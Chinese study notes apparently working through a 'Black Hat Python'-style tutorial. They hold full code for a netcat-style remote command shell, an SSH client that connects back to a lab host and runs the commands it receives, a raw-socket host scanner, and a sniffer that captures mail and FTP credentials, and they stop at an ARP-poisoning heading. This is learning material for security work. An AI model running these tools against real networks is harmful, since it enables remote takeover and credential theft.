第一章 设置Python环境
1、Windows中安装PyCharm。
2、安装python2和python3。
3、安装Kali linux和Windows虚拟机。
4、编写第一个程序sum.py(python3)
def sum(number_one, number_two):
number_one_int = convert_integer(number_one)
number_two_int = convert_integer(number_two)
result = number_one_int + number_two_int
return result
def convert_integer(number_string):
converted_integer = int(number_string)
return converted_integer
answer = sum("1","2")
第二章 网络基础
1、TCP客户端
tcpClient.py(python3)
import socket
target_host = "127.0.0.1"
target_port = 1234
# 建立套接字,socket.AF_INET表示使用标准的Ipv4地址,socket.SOCK_STREAM表示tcp客户端
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 连接指定ip和端口
client.connect((target_host, target_port))
# 发送数据
sendData = "Hello,my dear!"
client.send(sendData.encode())
# 接收数据
response = client.recv(4096)
print(response.decode())
2、UDP客户端
udpClient.py(python3)
import socket
target_host = "127.0.0.1"
target_port = 9999
# socket.SOCK_DGRAM表示upd客户端
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# udp发送数据
sendDate = "Hello world,my friends!".encode()
client.sendto(sendDate, (target_host, target_port))
# udp接收数据
data, addr = client.recvfrom(4096)
print(data.decode(), addr)
3、TCP服务器
tcpServer.py(python3)
import socket
import threading
# 表示所有ip
bind_ip = "0.0.0.0"
bind_port = 1234
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((bind_ip, bind_port))
server.listen(5)
print("[*] Listening on %s:%d" % (bind_ip, bind_port))
def handle_client(client_socket):
request = client_socket.recv(1024)
print("[*] Received: %s", request)
client_socket.send("ACK!".encode())
client_socket.close()
while True:
# 接收连接者的信息
client, addr = server.accept()
print("[*] Accepted connection from: %s:%d" % (addr[0], addr[1]))
# 开启一个线程,让handle_client函数处理,传入参数client
client_handler = threading.Thread(target=handle_client, args=(client,))
client_handler.start()
4、取代netcat
bhpnet.py(python3)
import sys
import socket
import getopt
import threading
import subprocess
import chardet
# 定义一些全局变量
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print("BHP Net Tool")
print("")
print("Usage: bhpnet.py -t target_host - p port")
print("-l --listen - listen on [host]:[port] for incoming connections")
print("-e --execute=file_to_run -execute the given file upon receiving a connection")
print("-c --command - initialize a commandshell")
print("-u --upload=destination - upon receiving connection upload a file and write to [destination]")
print()
print()
print("Examples:")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -c")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe")
print("bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\"")
print("echo 'ABCDEFGHI' | python ./bhpnet.py -t 192.168.11.12 -p 135")
sys.exit(0)
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer.encode())
while True:
# 现在等待数据回传
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096).decode()
recv_len = len(data)
response += data
if recv_len < 4096:
break
print(response)
# 等待更多的输入
buffer = input("")
buffer += "\n"
# 发送出去
client.send(buffer.encode())
except:
print("[*] Exception! Exiting.")
# 关闭连接
client.close()
def run_command(command):
# 删除字符串末尾的空格
command = command.rstrip()
# 运行命令并将输出放回
try:
# 先解码,在执行命令
command = command.decode()
# 利用subprocess运行命令并将输出返回
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = str.encode("Failed to execute command.\r\n")
# 将输出发送
return output
def client_handler(client_socket):
global upload
global execute
global command
# 检查上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = ""
# 持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024).decode()
if not data:
break
else:
file_buffer += data
try:
with open(upload_destination, "wb") as file_descriptor:
file_descriptor.write(file_buffer)
client_socket.send(str.encode("Successfully saved file to %s\r\n" % upload_destination))
except:
client_socket.send(str.encode("Failed to save file to %s\r\n" % upload_destination))
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output.encode())
# 如果需要一个命令行shell,那么我们进入另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send("<BHP:#>".encode())
cmd_buffer = ""
cmd_buffer = cmd_buffer.encode()
while "\n" not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(1024)
# 返回命令输出
response = run_command(cmd_buffer)
# 这里使用detect函数进行判断字节编码,并按照结果进行解码。
# 若使用python2进行编写则无该问题
btype = chardet.detect(response)
if btype['encoding'] == 'GB2312':
response = response.decode('gbk')
response = str.encode(response)
# 返回响应数据
client_socket.send(response)
def server_loop():
global target
# 如果没有定义目标,那我们监听所有接口
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def main():
global listen, port, execute, command, upload_destination, target
if not len(sys.argv[1:]):
usage()
# 读取命令行选项,若没有该选项则显示用法
# hlc都不会传值,所以后面没有冒号
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:",
["help", "listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print(str(err))
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# 我们是进行监听还是仅从标准输入读取数据并发送数据?
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D(Windows下按CTRL-Z)
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
server_loop()
# 调用main函数
if __name__ == '__main__':
main()
5、创建一个TCP代理
proxy.py(python2)
# coding=utf-8
import socket
import sys
import threading
def server_loop(local_host, local_port, remote_host, remote_port, receive_first):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
server.bind((local_host, local_port))
except:
print"[!!] Failed to listen on %s:%d" % (local_host, local_port)
print"[!!] Check for other listening sockets or correct permissions. "
sys.exit(0)
print"[*] Listening on %s:%d" % (local_host, local_port)
server.listen(5)
while True:
client_socket, addr = server.accept()
# 打印出本地连接信息
print "[==>] Received incoming connection from %s:%d"%(addr[0],addr[1])
# 开启一个线程与远程主机通信
proxy_thread = threading.Thread(target=proxy_handler,args=(client_socket,remote_host,remote_port,receive_first))
proxy_thread.start()
def proxy_handler(client_socket,remote_host,remote_port,receive_first):
# 连接远程主机
remote_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
remote_socket.connect((remote_host,remote_port))
# 如果必要从远程主机接收数据
if receive_first:
remote_buffer = receive_from(remote_socket)
hexdump(remote_buffer)
# 发送给我们的响应数据
remote_buffer = response_handler(remote_buffer)
# 如果我们有数据传递给本地客户端,发送它
if len(remote_buffer):
print "[<==] Sending %d bytes to localhost. "%len(remote_buffer)
client_socket.send(remote_buffer)
# 现在我们从本地循环读取数据,发送给远程主机和本地主机
while True:
# 从本地读取主机
local_buffer = receive_from(client_socket)
if len(local_buffer):
print "[==>] Received %d bytes from localhost. "%len(local_buffer)
hexdump(local_buffer)
# 发送给我们的本地请求
local_buffer = request_handler(local_buffer)
# 向远程主机发送数据
remote_socket.send(local_buffer)
print "[==>] Sent to remote ."
# 接受响应的数据
remote_buffer = receive_from(remote_socket)
if len(remote_buffer):
print "[<==] Received %d bytes from remote . "%len(remote_buffer)
hexdump(remote_buffer)
# 发送到响应处理函数
remote_buffer = response_handler(remote_buffer)
# 将响应发送给本地socket
client_socket.send(remote_buffer)
print "[<==] Sent to localhost. "
# 如果两边都没有数据,关闭连接
if not len(local_buffer) or not len(remote_buffer):
client_socket.close()
remote_socket.close()
print "[*] No more data. Closing cnnections. "
break
# 十六进制导出函数
def hexdump(src,length=16):
result = []
digits = 4 if isinstance(src,unicode) else 2
for i in xrange(0,len(src),length):
s = src[i:i+length]
# 转为16进行
hexa = b' '.join(["%0*X" % (digits,ord(x)) for x in s])
# 转为可打印文本,不可打印的用'.'代替
text = b''.join([x if 0x20 <= ord(x) < 0x7F else b'.' for x in s])
result.append(b"%04X %-*s %s" % (i, length*(digits + 1), hexa, text))
print b'\n'.join(result)
def receive_from(connection):
buffer = ""
# 我们设置了两秒的超时,这取决于目标的情况,可能需要调整
connection.settimeout(2)
try:
# 持续从缓存中读取数据直到没有数据或超时
while True:
data = connection.recv(4096)
if not data:
break
buffer += data
except:
pass
return buffer
# 对目标是远程主机的请求进行修改
def request_handler(buffer):
# 执行包修改
return buffer
# 对目标是本地主机的响应进行修改
def response_handler(buffer):
# 执行包修改
return buffer
def main():
# 没有华丽的命令行解析
if len(sys.argv[1:]) != 5:
print "Usage : ./tcp_agent.py [localhost] [localport] [remotehost] [remoteport] [receive_first] "
print "Example : ./tcp_agent.py 127.0.0.1 9000 10.12.132.1 9000 True"
sys.exit(0)
# 设置本地监听参数
local_host = sys.argv[1]
local_port = int(sys.argv[2])
# 设置远程目标
remote_host = sys.argv[3]
remote_port = int(sys.argv[4])
# 告诉代理在发送给远程主机之前连接和接收数据
receive_first = sys.argv[5]
if "True" in receive_first:
receive_first = True
else:
receive_first = False
# 现在设置好我们的监听socket
server_loop(local_host,local_port,remote_host,remote_port,receive_first)
main()
6、通过Paramiko使用SSH
bh_sshcmd.py(python2)
# coding=utf-8
import threading
import paramiko
import subprocess
# paramiko 支持用密钥认证来代理密码验证,推荐密钥认证
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
# client.load_host_key('/root/.ssh/known_hosts')
# 设置自动添加和保存目标ssh服务器的ssh密钥
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接
client.connect(ip, username=user, password=passwd)
# 打开会话
ssh_session = client.get_transport().open_session()
if ssh_session.active:
# 执行命令
ssh_session.exec_command(command)
# 返回命令执行结果(1024字符)
print ssh_session.recv(1024)
return
ssh_command('192.168.220.136', 'root', '123', 'id')
bh_sshRcmd.py(python2)
# coding=utf-8
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
# 支持用密钥认证代替密码验证,实际环境推荐使用密钥认证
# client.load_host_key('/root/.ssh/known_hosts')
# 设置自动添加和保存目标ssh服务器的ssh密钥
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# 连接
client.connect(ip, username=user, password=passwd)
# 打开会话
ssh_session = client.get_transport().open_session()
if ssh_session.active:
# 发送command这个字符串,并不是执行命令
ssh_session.send(command)
# 返回命令执行结果(1024个字符)
print ssh_session.recv(1024)
while True:
command = ssh_session.recv(1024) # get command from the SSH server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.220.136', 'root', '123', 'ClientConnected')
bh_sshserver.py(python2)
# coding=utf-8 import sys import paramiko import threading import socket if len(sys.argv[1:]) != 2: print "Usage: ./ssh_server.py [localhost] [localport] " print "Example: ./ssh_server.py 127.0.0.1 8080" sys.exit(0) # 使用 Paramiko示例文件的密钥 # host_key = paramiko.RSAKey(filename='test_rsa.key') # 或者自己创建一个密钥文件 host_key = paramiko.RSAKey(filename='/root/.ssh/id_rsa') class Server(paramiko.ServerInterface): def __init__(self): # 执行start_server()方法首先会触发Event,如果返回成功, is_active返回True self.event = threading.Event() def check_auth_password(self, username, password): # 当is_active返回True,进入认证阶段 if(username == 'root') and (password == '123'): return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED def check_channel_request(self, kind, chanid): # 当认证成功,client会请求打开一个Channel if kind == 'session': return paramiko.OPEN_SUCCEEDED return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED server = sys.argv[1] ssh_port = int(sys.argv[2]) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) # SOL_SOCKET 意思是正在使用的socket选项。 # SO_REUSEADDR 当socket关闭后,本地端用于该socket的端口号立刻就可以被重用 # 1 表示将SO_REUSEADDR标记为TRUE,操作系统会在服务器socket被关闭或服务器进程终止后马上释放该服务器的端口,否则操作系统会保留几分钟该端口。 sock.bind((server, ssh_port)) sock.listen(100) print '[+] Listening ...' client, addr = sock.accept() except Exception, e: print '[-] Listen failed: ' + str(e) sys.exit(1) print '[+] Got a connection!' try: # 用sock.accept()返回的socket实例化Transport bhSession = paramiko.Transport(client) # 添加一个RSA密钥加密会话 bhSession.add_server_key(host_key) server = Server() try: # 启动SSH服务端 bhSession.start_server(server=server) except paramiko.SSHException, x: print '[-] SSH negotiation failed' # 等待客户端开启通道,超时时间为20秒 chan = bhSession.accept(20) print '[+] Authenticated!' print chan.recv(1024) chan.send("Welcome to bh_ssh") while True: try: command = raw_input("Enter command:").strip("\n") if command != 'exit': chan.send(command) print chan.recv(1024) + '\n' else: chan.send('exit') print 'exiting' bhSession.close() raise Exception('exit') except KeyboardInterrupt: bhSession.close() except Exception, e: print '[-] Caught exception: ' + str(e) try: bhSession.close() except: pass sys.exit(1)
7、SSH隧道
该文件为Paramiko示例文件
# rforward.py
#!/usr/bin/env python
# Copyright (C) 2003-2007 Robey Pointer <[email protected]>
#
# This file is part of paramiko.
#
# Paramiko is free software; you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation; either version 2.1 of the License, or (at your option)
# any later version.
#
# Paramiko is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR
# A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with Paramiko; if not, write to the Free Software Foundation, Inc.,
# 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA.
"""
Sample script showing how to do local port forwarding over paramiko.
This script connects to the requested SSH server and sets up local port
forwarding (the openssh -L option) from a local port through a tunneled
connection to a destination reachable from the SSH server machine.
"""
import getpass
import os
import socket
import select
try:
import SocketServer
except ImportError:
import socketserver as SocketServer
import sys
from optparse import OptionParser
import paramiko
SSH_PORT = 22
DEFAULT_PORT = 4000
g_verbose = True
class ForwardServer(SocketServer.ThreadingTCPServer):
daemon_threads = True
allow_reuse_address = True
class Handler(SocketServer.BaseRequestHandler):
def handle(self):
try:
chan = self.ssh_transport.open_channel(
"direct-tcpip",
(self.chain_host, self.chain_port),
self.request.getpeername(),
)
except Exception as e:
verbose(
"Incoming request to %s:%d failed: %s"
% (self.chain_host, self.chain_port, repr(e))
)
return
if chan is None:
verbose(
"Incoming request to %s:%d was rejected by the SSH server."
% (self.chain_host, self.chain_port)
)
return
verbose(
"Connected! Tunnel open %r -> %r -> %r"
% (
self.request.getpeername(),
chan.getpeername(),
(self.chain_host, self.chain_port),
)
)
while True:
r, w, x = select.select([self.request, chan], [], [])
if self.request in r:
data = self.request.recv(1024)
if len(data) == 0:
break
chan.send(data)
if chan in r:
data = chan.recv(1024)
if len(data) == 0:
break
self.request.send(data)
peername = self.request.getpeername()
chan.close()
self.request.close()
verbose("Tunnel closed from %r" % (peername,))
def forward_tunnel(local_port, remote_host, remote_port, transport):
# this is a little convoluted, but lets me configure things for the Handler
# object. (SocketServer doesn't give Handlers any way to access the outer
# server normally.)
class SubHander(Handler):
chain_host = remote_host
chain_port = remote_port
ssh_transport = transport
ForwardServer(("", local_port), SubHander).serve_forever()
def verbose(s):
if g_verbose:
print(s)
HELP = """\
Set up a forward tunnel across an SSH server, using paramiko. A local port
(given with -p) is forwarded across an SSH session to an address:port from
the SSH server. This is similar to the openssh -L option.
"""
def get_host_port(spec, default_port):
"parse 'hostname:22' into a host and port, with the port optional"
args = (spec.split(":", 1) + [default_port])[:2]
args[1] = int(args[1])
return args[0], args[1]
def parse_options():
global g_verbose
parser = OptionParser(
usage="usage: %prog [options] <ssh-server>[:<server-port>]",
version="%prog 1.0",
description=HELP,
)
parser.add_option(
"-q",
"--quiet",
action="store_false",
dest="verbose",
default=True,
help="squelch all informational output",
)
parser.add_option(
"-p",
"--local-port",
action="store",
type="int",
dest="port",
default=DEFAULT_PORT,
help="local port to forward (default: %d)" % DEFAULT_PORT,
)
parser.add_option(
"-u",
"--user",
action="store",
type="string",
dest="user",
default=getpass.getuser(),
help="username for SSH authentication (default: %s)"
% getpass.getuser(),
)
parser.add_option(
"-K",
"--key",
action="store",
type="string",
dest="keyfile",
default=None,
help="private key file to use for SSH authentication",
)
parser.add_option(
"",
"--no-key",
action="store_false",
dest="look_for_keys",
default=True,
help="don't look for or use a private key file",
)
parser.add_option(
"-P",
"--password",
action="store_true",
dest="readpass",
default=False,
help="read password (for key or password auth) from stdin",
)
parser.add_option(
"-r",
"--remote",
action="store",
type="string",
dest="remote",
default=None,
metavar="host:port",
help="remote host and port to forward to",
)
options, args = parser.parse_args()
if len(args) != 1:
parser.error("Incorrect number of arguments.")
if options.remote is None:
parser.error("Remote address required (-r).")
g_verbose = options.verbose
server_host, server_port = get_host_port(args[0], SSH_PORT)
remote_host, remote_port = get_host_port(options.remote, SSH_PORT)
return options, (server_host, server_port), (remote_host, remote_port)
def main():
options, server, remote = parse_options()
password = None
if options.readpass:
password = getpass.getpass("Enter SSH password: ")
client = paramiko.SSHClient()
client.load_system_host_keys()
client.set_missing_host_key_policy(paramiko.WarningPolicy())
verbose("Connecting to ssh host %s:%d ..." % (server[0], server[1]))
try:
client.connect(
server[0],
server[1],
username=options.user,
key_filename=options.keyfile,
look_for_keys=options.look_for_keys,
password=password,
)
except Exception as e:
print("*** Failed to connect to %s:%d: %r" % (server[0], server[1], e))
sys.exit(1)
verbose(
"Now forwarding port %d to %s:%d ..."
% (options.port, remote[0], remote[1])
)
try:
forward_tunnel(
options.port, remote[0], remote[1], client.get_transport()
)
except KeyboardInterrupt:
print("C-c: Port forwarding stopped.")
sys.exit(0)
if __name__ == "__main__":
main()
第三章 原始套接字和流量嗅探
1、开发UDP主机发现工具
sniffer.py(python2)
# Windows下运行:管理员权限打开cmd
# coding=utf-8
import socket
import os
host = "192.168.220.136"
# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# 读取单个数据包
print sniffer.recvfrom(65535)
# 在Windows平台上关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
Linux下运行:
Windows下运行:
2、解码IP层
sniffer_ip_header_decoder.py(python2)
# coding=utf-8
# Windows下运行:管理员权限打开cmd
import socket
import os
import struct
from ctypes import *
host = "192.168.220.136"
# IP头定义
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4), # ip head length:头长度
("version", c_ubyte, 4), # 版本
("tos", c_ubyte), # 服务类型
("len", c_ushort), # ip数据包总长度
("id", c_ushort), # 标识符
("offset", c_ushort), # 片偏移
("ttl", c_ubyte), # 生存时间
("protocol_num", c_ubyte), # 协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
("sum", c_ushort), # 头部校验和
("src", c_ulong), # 源ip地址
("dst", c_ulong) # 目的ip地址
]
# 程序运行在Linux下时需要将_fields_中的src和dst类型修改一下,改为 c_uint32
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称对应
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
# 可读性更强的IP地址
self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))
# 协议类型
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# 读取数据包
raw_buffer = sniffer.recvfrom(65535)[0]
# 将缓冲区的前20个字节按IP头进行解析
ip_header = IP(raw_buffer[0:20])
# 输出协议和通信双方IP地址
print "Protocol : %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# 处理CTRL-C
except KeyboardInterrupt:
# 如果运行在Windows上,关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
3、解码ICMP
sniffer_with_icmp.py(python2)
# coding=utf-8
# Windows下需要使用管理员权限打开cmd运行
import socket
import os
import struct
from ctypes import *
host = "192.168.220.136"
# IP头定义
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4), # ip head length:头长度
("version", c_ubyte, 4), # 版本
("tos", c_ubyte), # 服务类型
("len", c_ushort), # ip数据包总长度
("id", c_ushort), # 标识符
("offset", c_ushort), # 片偏移
("ttl", c_ubyte), # 生存时间
("protocol_num", c_ubyte), # 协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
("sum", c_ushort), # 头部校验和
("src", c_ulong), # 源ip地址
("dst", c_ulong) # 目的ip地址
]
# 程序运行在Linux下时需要将_fields_中的src和dst类型修改一下,改为 c_uint32
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称对应
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
# 可读性更强的IP地址
self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))
# 协议类型
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
o
# ICMP
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
pass
# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# 读取数据包
raw_buffer = sniffer.recvfrom(65535)[0]
# 将缓冲区的前20个字节按IP头进行解析
ip_header = IP(raw_buffer[0:20])
# 输出协议和通信双方IP地址
print "Protocol : %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# 处理ICMP协议
if ip_header.protocol == "ICMP":
# 计算ICMP包的起始位置:IP包头长度的值 * 4 等于 真正IP包头的长度,一般为20byte(最小的IP包头),为ICMP数据起始位置
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# 解释ICMP数据
icmp_header = ICMP(buf)
print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
# 处理CTRL-C
except KeyboardInterrupt:
# 如果运行在Windows上,关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
4、扫描器
scanner.py(python2)
# coding=utf-8
# Windows下需要使用管理员权限打开cmd运行
import socket
import os
import struct
import sys
import threading
import time
from ctypes import *
from netaddr import IPNetwork, IPAddress
host = "192.168.220.136"
subnet = "192.168.220.0/24"
# 自定义的字符串,我们将在ICMP响应中进行核对
magic_message = "PYTHONRULES!"
# 批量发送UDP数据包
def udp_sender(subnet, magic_message):
time.sleep(5)
sender = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for ip in IPNetwork(subnet):
try:
sender.sendto(magic_message, ("%s" % ip, 65212))
except:
pass
# IP头定义
class IP(Structure):
_fields_ = [
("ihl", c_ubyte, 4), # ip head length:头长度
("version", c_ubyte, 4), # 版本
("tos", c_ubyte), # 服务类型
("len", c_ushort), # ip数据包总长度
("id", c_ushort), # 标识符
("offset", c_ushort), # 片偏移
("ttl", c_ubyte), # 生存时间
("protocol_num", c_ubyte), # 协议数字,应该是协议类型,这里用数字来代表时哪个协议,下面构造函数有设置映射表
("sum", c_ushort), # 头部校验和
("src", c_ulong), # 源ip地址
("dst", c_ulong) # 目的ip地址
]
# 程序运行在Linux下时需要将_fields_中的src和dst类型修改一下,改为 c_uint32
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称对应
self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"}
# 可读性更强的IP地址
self.src_address = socket.inet_ntoa(struct.pack("<L", self.src))
self.dst_address = socket.inet_ntoa(struct.pack("<L", self.dst))
# 协议类型
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
# ICMP
class ICMP(Structure):
_fields_ = [
("type", c_ubyte),
("code", c_ubyte),
("checksum", c_ushort),
("unused", c_ushort),
("next_hop_mtu", c_ushort)
]
def __new__(self, socket_buffer):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer):
pass
# 创建原始套接字,然后绑定在公开接口上
if os.name == "nt":
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0))
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启动混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
# 开始发送数据包
t = threading.Thread(target=udp_sender, args=(subnet, magic_message))
t. start()
try:
while True:
# 读取数据包
raw_buffer = sniffer.recvfrom(65535)[0]
# 将缓冲区的前20个字节按IP头进行解析
ip_header = IP(raw_buffer[0:20])
# 输出协议和通信双方IP地址
# print "Protocol : %s %s -> %s" % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# 处理ICMP协议
if ip_header.protocol == "ICMP":
# 计算ICMP包的起始位置
offset = ip_header.ihl * 4
buf = raw_buffer[offset:offset + sizeof(ICMP)]
# 解释ICMP数据
icmp_header = ICMP(buf)
# print "ICMP -> Type: %d Code: %d" % (icmp_header.type, icmp_header.code)
# 检查类型和代码值是否为3
if icmp_header.code == 3 and icmp_header.type == 3:
# 确认响应的主机在我们的目标子网之内
if IPAddress(ip_header.src_address) in IPNetwork(subnet):
# 确认ICMP数据中包含我们发送的自定义字符串
if raw_buffer[len(raw_buffer) - len(magic_message):] == magic_message:
print "Host Up: %s" % ip_header.src_address
# 处理CTRL-C
except KeyboardInterrupt:
# 如果运行在Windows上,关闭混杂模式
if os.name == "nt":
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
好像需要关闭防火墙才能被探测到,不然只能探测到自己。
第四章 Scapy:网络的掌控者
1、窃取Email认证
mail_sniffer.py(python2)
# coding=utf-8
from scapy.all import *
# 数据包回调函数
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if "user" in mail_packet.lower() or "pass" in mail_packet.lower():
print "[*] Server: %s" % packet[IP].dst
print "[*] %s" % packet[TCP].payload
# 开启mail嗅探器
sniff(filter="tcp port 110 or tcp port 25 or tcp port 143", prn=packet_callback, store=0)
# 开启ftp嗅探器
# sniff(filter="tcp port 21", prn=packet_callback, store=0)
由于现在的邮箱都是通过SSL加密的,这里使用ftp进行演示:
配置vsftpd
使用windows登录ftp,在本机连接没有效果。
2、利用Scapy进行ARP缓存投毒
arper.py(python2)
